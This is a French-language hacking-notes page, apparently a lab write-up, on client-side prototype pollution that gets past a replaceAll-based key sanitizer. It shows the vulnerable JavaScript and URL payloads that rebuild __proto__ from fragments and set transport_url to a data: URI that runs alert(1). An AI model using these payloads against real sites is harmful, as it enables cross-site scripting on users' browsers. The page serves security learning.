> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Pollution de prototype côté client via une sanitisation défectueuse

### Pollution de prototype côté client via une sanitisation défectueuse

#### (1) Contexte et idée générale

L'application lit les paramètres de l'URL puis les transforme en objet JavaScript via `deparam(...)`:

* Elle construit `config = { params: deparam(...) }`
* Puis elle utilise `config.transport_url` pour charger un `<script src="...">`

Pour éviter la pollution du prototype, les développeurs ont ajouté `sanitizeKey()` qui supprime les sous-chaînes suivantes dans les clés : / `constructor`, `__proto__`, `prototype`.

Problème : cette sanitisation n’est qu’un **replaceAll**. Si **on découpe** le mot interdit en morceaux, après remplacement il peut **reconstituer**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Échec du stockage de la requête");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Source : contourner le filtre et polluer `Object.prototype`

Le filtre supprime `__proto__` S’il est présent tel quel. / Il est reconstruit en mettant `__proto__` **au milieu** d’une clé plus longue, de sorte qu’après suppression, la clé finale devienne exactement `__proto__`.

Charge utile :

```javascript
?__pro__proto__to__[foo]=bar
```

Après sanitisation :

* `__pro__proto__to__` → (suppression de `__proto__`) `__proto__`

C’est donc comme :

* `?__proto__[foo]=bar` → pollution globale du prototype

À vérifier dans la console :

```javascript
console.log({}.foo)
```

<figure><img src="/files/768a4984736ce324db2b8c00688fb3be66ee1bc5" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Exploit final : déclencher `alert()`

`transport_url` est pollué avec un `data:` schéma qui exécute du JS lorsque le script est chargé :

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/329a3545771ad3ec25bd5395ea32fcba0c921f01" alt=""><figcaption></figcaption></figure>


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